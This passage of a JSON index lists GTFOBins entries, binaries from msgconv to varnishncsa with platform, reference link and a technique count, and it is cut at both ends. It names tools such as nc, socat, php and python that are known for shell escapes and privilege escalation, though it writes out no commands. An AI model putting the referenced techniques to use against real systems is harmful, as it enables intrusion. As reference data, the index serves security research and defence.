inux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/msgconv/"],"count":3},{"id":"gtfo:msgfilter","name":"msgfilter","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/msgfilter/"],"count":6},{"id":"gtfo:msgmerge","name":"msgmerge","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/msgmerge/"],"count":3},{"id":"gtfo:msguniq","name":"msguniq","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/msguniq/"],"count":3},{"id":"gtfo:mtr","name":"mtr","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/mtr/"],"count":2},{"id":"gtfo:multitime","name":"multitime","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/multitime/"],"count":3},{"id":"gtfo:mutt","name":"mutt","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/mutt/"],"count":2},{"id":"gtfo:mv","name":"mv","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/mv/"],"count":5},{"id":"gtfo:mypy","name":"mypy","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/mypy/"],"count":4},{"id":"gtfo:mysql","name":"mysql","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/mysql/"],"count":6},{"id":"gtfo:nano","name":"nano","source":"GTFOBins","platform":["Linux","macOS"],"aliases":["pico"],"references":["https://gtfobins.github.io/gtfobins/nano/"],"count":12},{"id":"gtfo:nasm","name":"nasm","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nasm/"],"count":3},{"id":"gtfo:nc","name":"nc","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nc/"],"count":18},{"id":"gtfo:ncdu","name":"ncdu","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ncdu/"],"count":3},{"id":"gtfo:ncftp","name":"ncftp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ncftp/"],"count":3},{"id":"gtfo:needrestart","name":"needrestart","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/needrestart/"],"count":2},{"id":"gtfo:neofetch","name":"neofetch","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/neofetch/"],"count":4},{"id":"gtfo:nft","name":"nft","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nft/"],"count":2},{"id":"gtfo:nginx","name":"nginx","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nginx/"],"count":5},{"id":"gtfo:nice","name":"nice","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nice/"],"count":3},{"id":"gtfo:nl","name":"nl","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nl/"],"count":3},{"id":"gtfo:nm","name":"nm","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nm/"],"count":3},{"id":"gtfo:nmap","name":"nmap","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nmap/"],"count":12},{"id":"gtfo:node","name":"node","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/node/"],"count":22},{"id":"gtfo:nohup","name":"nohup","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nohup/"],"count":6},{"id":"gtfo:npm","name":"npm","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/npm/"],"count":6},{"id":"gtfo:nroff","name":"nroff","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nroff/"],"count":4},{"id":"gtfo:nsenter","name":"nsenter","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/nsenter/"],"count":3},{"id":"gtfo:ntpdate","name":"ntpdate","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ntpdate/"],"count":3},{"id":"gtfo:octave","name":"octave","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/octave/"],"count":9},{"id":"gtfo:od","name":"od","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/od/"],"count":3},{"id":"gtfo:opencode","name":"opencode","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/opencode/"],"count":5},{"id":"gtfo:openssl","name":"openssl","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/openssl/"],"count":21},{"id":"gtfo:openvpn","name":"openvpn","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/openvpn/"],"count":6},{"id":"gtfo:openvt","name":"openvt","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/openvt/"],"count":1},{"id":"gtfo:opkg","name":"opkg","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/opkg/"],"count":1},{"id":"gtfo:pandoc","name":"pandoc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pandoc/"],"count":9},{"id":"gtfo:passwd","name":"passwd","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/passwd/"],"count":1},{"id":"gtfo:paste","name":"paste","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/paste/"],"count":3},{"id":"gtfo:pax","name":"pax","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pax/"],"count":3},{"id":"gtfo:pdb","name":"pdb","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pdb/"],"count":2},{"id":"gtfo:pdflatex","name":"pdflatex","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pdflatex/"],"count":9},{"id":"gtfo:pdftex","name":"pdftex","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pdftex/"],"count":3},{"id":"gtfo:perf","name":"perf","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/perf/"],"count":3},{"id":"gtfo:perl","name":"perl","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/perl/"],"count":14},{"id":"gtfo:perlbug","name":"perlbug","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/perlbug/"],"count":2},{"id":"gtfo:pexec","name":"pexec","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pexec/"],"count":3},{"id":"gtfo:pg","name":"pg","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pg/"],"count":6},{"id":"gtfo:php","name":"php","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/php/"],"count":40},{"id":"gtfo:pic","name":"pic","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pic/"],"count":6},{"id":"gtfo:pidstat","name":"pidstat","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pidstat/"],"count":3},{"id":"gtfo:pip","name":"pip","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pip/"],"count":4},{"id":"gtfo:pipx","name":"pipx","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pipx/"],"count":2},{"id":"gtfo:pkexec","name":"pkexec","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pkexec/"],"count":1},{"id":"gtfo:pkg","name":"pkg","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pkg/"],"count":1},{"id":"gtfo:plymouth","name":"plymouth","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/plymouth/"],"count":3},{"id":"gtfo:podman","name":"podman","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/podman/"],"count":2},{"id":"gtfo:poetry","name":"poetry","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/poetry/"],"count":2},{"id":"gtfo:posh","name":"posh","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/posh/"],"count":2},{"id":"gtfo:pr","name":"pr","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pr/"],"count":3},{"id":"gtfo:procmail","name":"procmail","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/procmail/"],"count":2},{"id":"gtfo:pry","name":"pry","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pry/"],"count":2},{"id":"gtfo:psftp","name":"psftp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/psftp/"],"count":3},{"id":"gtfo:psql","name":"psql","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/psql/"],"count":6},{"id":"gtfo:ptx","name":"ptx","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ptx/"],"count":3},{"id":"gtfo:puppet","name":"puppet","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/puppet/"],"count":6},{"id":"gtfo:pwsh","name":"pwsh","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pwsh/"],"count":4},{"id":"gtfo:pygmentize","name":"pygmentize","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pygmentize/"],"count":2},{"id":"gtfo:pyright","name":"pyright","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/pyright/"],"count":6},{"id":"gtfo:python","name":"python","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/python/"],"count":26},{"id":"gtfo:qpdf","name":"qpdf","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/qpdf/"],"count":3},{"id":"gtfo:rake","name":"rake","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rake/"],"count":4},{"id":"gtfo:ranger","name":"ranger","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ranger/"],"count":2},{"id":"gtfo:rc","name":"rc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rc/"],"count":3},{"id":"gtfo:readelf","name":"readelf","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/readelf/"],"count":3},{"id":"gtfo:redcarpet","name":"redcarpet","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/redcarpet/"],"count":2},{"id":"gtfo:redis","name":"redis","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/redis/"],"count":3},{"id":"gtfo:restic","name":"restic","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/restic/"],"count":15},{"id":"gtfo:rev","name":"rev","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rev/"],"count":3},{"id":"gtfo:rlogin","name":"rlogin","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rlogin/"],"count":3},{"id":"gtfo:rlwrap","name":"rlwrap","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rlwrap/"],"count":6},{"id":"gtfo:rpm","name":"rpm","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rpm/"],"count":10},{"id":"gtfo:rpmdb","name":"rpmdb","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rpmdb/"],"count":6},{"id":"gtfo:rpmquery","name":"rpmquery","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rpmquery/"],"count":6},{"id":"gtfo:rpmverify","name":"rpmverify","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rpmverify/"],"count":6},{"id":"gtfo:rsync","name":"rsync","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rsync/"],"count":3},{"id":"gtfo:rsyslogd","name":"rsyslogd","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rsyslogd/"],"count":1},{"id":"gtfo:rtorrent","name":"rtorrent","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rtorrent/"],"count":3},{"id":"gtfo:ruby","name":"ruby","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ruby/"],"count":15},{"id":"gtfo:run-mailcap","name":"run-mailcap","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/run-mailcap/"],"count":4},{"id":"gtfo:run-parts","name":"run-parts","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/run-parts/"],"count":6},{"id":"gtfo:runscript","name":"runscript","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/runscript/"],"count":3},{"id":"gtfo:rustc","name":"rustc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rustc/"],"count":6},{"id":"gtfo:rustdoc","name":"rustdoc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rustdoc/"],"count":4},{"id":"gtfo:rustfmt","name":"rustfmt","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rustfmt/"],"count":2},{"id":"gtfo:rustup","name":"rustup","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/rustup/"],"count":4},{"id":"gtfo:sash","name":"sash","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sash/"],"count":3},{"id":"gtfo:scanmem","name":"scanmem","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/scanmem/"],"count":3},{"id":"gtfo:scp","name":"scp","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/scp/"],"count":12},{"id":"gtfo:screen","name":"screen","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/screen/"],"count":6},{"id":"gtfo:script","name":"script","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/script/"],"count":6},{"id":"gtfo:scrot","name":"scrot","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/scrot/"],"count":3},{"id":"gtfo:sed","name":"sed","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sed/"],"count":12},{"id":"gtfo:service","name":"service","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/service/"],"count":2},{"id":"gtfo:setarch","name":"setarch","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/setarch/"],"count":3},{"id":"gtfo:setcap","name":"setcap","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/setcap/"],"count":2},{"id":"gtfo:setfacl","name":"setfacl","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/setfacl/"],"count":2},{"id":"gtfo:setlock","name":"setlock","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/setlock/"],"count":3},{"id":"gtfo:sftp","name":"sftp","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sftp/"],"count":9},{"id":"gtfo:sg","name":"sg","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sg/"],"count":2},{"id":"gtfo:shred","name":"shred","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/shred/"],"count":3},{"id":"gtfo:shuf","name":"shuf","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/shuf/"],"count":6},{"id":"gtfo:slsh","name":"slsh","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/slsh/"],"count":3},{"id":"gtfo:smbclient","name":"smbclient","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/smbclient/"],"count":6},{"id":"gtfo:snap","name":"snap","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/snap/"],"count":1},{"id":"gtfo:socat","name":"socat","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/socat/"],"count":21},{"id":"gtfo:socket","name":"socket","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/socket/"],"count":6},{"id":"gtfo:soelim","name":"soelim","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/soelim/"],"count":3},{"id":"gtfo:softlimit","name":"softlimit","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/softlimit/"],"count":3},{"id":"gtfo:sort","name":"sort","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sort/"],"count":6},{"id":"gtfo:split","name":"split","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/split/"],"count":9},{"id":"gtfo:sqlite3","name":"sqlite3","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sqlite3/"],"count":9},{"id":"gtfo:sqlmap","name":"sqlmap","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sqlmap/"],"count":2},{"id":"gtfo:ss","name":"ss","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ss/"],"count":3},{"id":"gtfo:ssh","name":"ssh","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ssh/"],"count":16},{"id":"gtfo:ssh-agent","name":"ssh-agent","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ssh-agent/"],"count":3},{"id":"gtfo:ssh-copy-id","name":"ssh-copy-id","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ssh-copy-id/"],"count":4},{"id":"gtfo:ssh-keygen","name":"ssh-keygen","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ssh-keygen/"],"count":3},{"id":"gtfo:ssh-keyscan","name":"ssh-keyscan","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ssh-keyscan/"],"count":3},{"id":"gtfo:sshfs","name":"sshfs","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sshfs/"],"count":6},{"id":"gtfo:sshpass","name":"sshpass","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sshpass/"],"count":3},{"id":"gtfo:sshuttle","name":"sshuttle","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sshuttle/"],"count":1},{"id":"gtfo:start-stop-daemon","name":"start-stop-daemon","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/start-stop-daemon/"],"count":3},{"id":"gtfo:stdbuf","name":"stdbuf","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/stdbuf/"],"count":3},{"id":"gtfo:strace","name":"strace","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/strace/"],"count":5},{"id":"gtfo:strings","name":"strings","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/strings/"],"count":3},{"id":"gtfo:su","name":"su","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/su/"],"count":1},{"id":"gtfo:sudo","name":"sudo","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sudo/"],"count":1},{"id":"gtfo:sysctl","name":"sysctl","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/sysctl/"],"count":5},{"id":"gtfo:systemctl","name":"systemctl","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/systemctl/"],"count":6},{"id":"gtfo:systemd-resolve","name":"systemd-resolve","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/systemd-resolve/"],"count":1},{"id":"gtfo:systemd-run","name":"systemd-run","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/systemd-run/"],"count":3},{"id":"gtfo:tac","name":"tac","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tac/"],"count":3},{"id":"gtfo:tail","name":"tail","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tail/"],"count":3},{"id":"gtfo:tailscale","name":"tailscale","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tailscale/"],"count":1},{"id":"gtfo:tar","name":"tar","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tar/"],"count":21},{"id":"gtfo:task","name":"task","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/task/"],"count":3},{"id":"gtfo:taskset","name":"taskset","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/taskset/"],"count":2},{"id":"gtfo:tasksh","name":"tasksh","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tasksh/"],"count":3},{"id":"gtfo:tbl","name":"tbl","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tbl/"],"count":3},{"id":"gtfo:tclsh","name":"tclsh","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tclsh/"],"count":10},{"id":"gtfo:tcpdump","name":"tcpdump","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tcpdump/"],"count":7},{"id":"gtfo:tcsh","name":"tcsh","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tcsh/"],"count":6},{"id":"gtfo:tdbtool","name":"tdbtool","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tdbtool/"],"count":3},{"id":"gtfo:tee","name":"tee","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tee/"],"count":3},{"id":"gtfo:telnet","name":"telnet","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/telnet/"],"count":6},{"id":"gtfo:terraform","name":"terraform","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/terraform/"],"count":3},{"id":"gtfo:tex","name":"tex","source":"GTFOBins","platform":["Linux"],"aliases":["xetex"],"references":["https://gtfobins.github.io/gtfobins/tex/"],"count":3},{"id":"gtfo:tftp","name":"tftp","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tftp/"],"count":6},{"id":"gtfo:tic","name":"tic","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tic/"],"count":3},{"id":"gtfo:time","name":"time","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/time/"],"count":3},{"id":"gtfo:timedatectl","name":"timedatectl","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/timedatectl/"],"count":2},{"id":"gtfo:timeout","name":"timeout","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/timeout/"],"count":3},{"id":"gtfo:tmate","name":"tmate","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tmate/"],"count":3},{"id":"gtfo:tmux","name":"tmux","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tmux/"],"count":9},{"id":"gtfo:top","name":"top","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/top/"],"count":2},{"id":"gtfo:torify","name":"torify","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/torify/"],"count":2},{"id":"gtfo:torsocks","name":"torsocks","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/torsocks/"],"count":2},{"id":"gtfo:troff","name":"troff","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/troff/"],"count":3},{"id":"gtfo:tsc","name":"tsc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tsc/"],"count":4},{"id":"gtfo:tshark","name":"tshark","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/tshark/"],"count":2},{"id":"gtfo:ul","name":"ul","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ul/"],"count":3},{"id":"gtfo:unexpand","name":"unexpand","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/unexpand/"],"count":3},{"id":"gtfo:uniq","name":"uniq","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/uniq/"],"count":3},{"id":"gtfo:unshare","name":"unshare","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/unshare/"],"count":3},{"id":"gtfo:unsquashfs","name":"unsquashfs","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/unsquashfs/"],"count":2},{"id":"gtfo:unzip","name":"unzip","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/unzip/"],"count":2},{"id":"gtfo:update-alternatives","name":"update-alternatives","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/update-alternatives/"],"count":2},{"id":"gtfo:urlget","name":"urlget","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/urlget/"],"count":3},{"id":"gtfo:uuencode","name":"uuencode","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/uuencode/"],"count":3},{"id":"gtfo:uv","name":"uv","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/uv/"],"count":2},{"id":"gtfo:vagrant","name":"vagrant","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/vagrant/"],"count":2},{"id":"gtfo:valgrind","name":"valgrind","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/valgrind/"],"count":2},{"id":"gtfo:varnishncsa","name":"varnishncsa","source":"GTFOBins","platform":["Linux"],"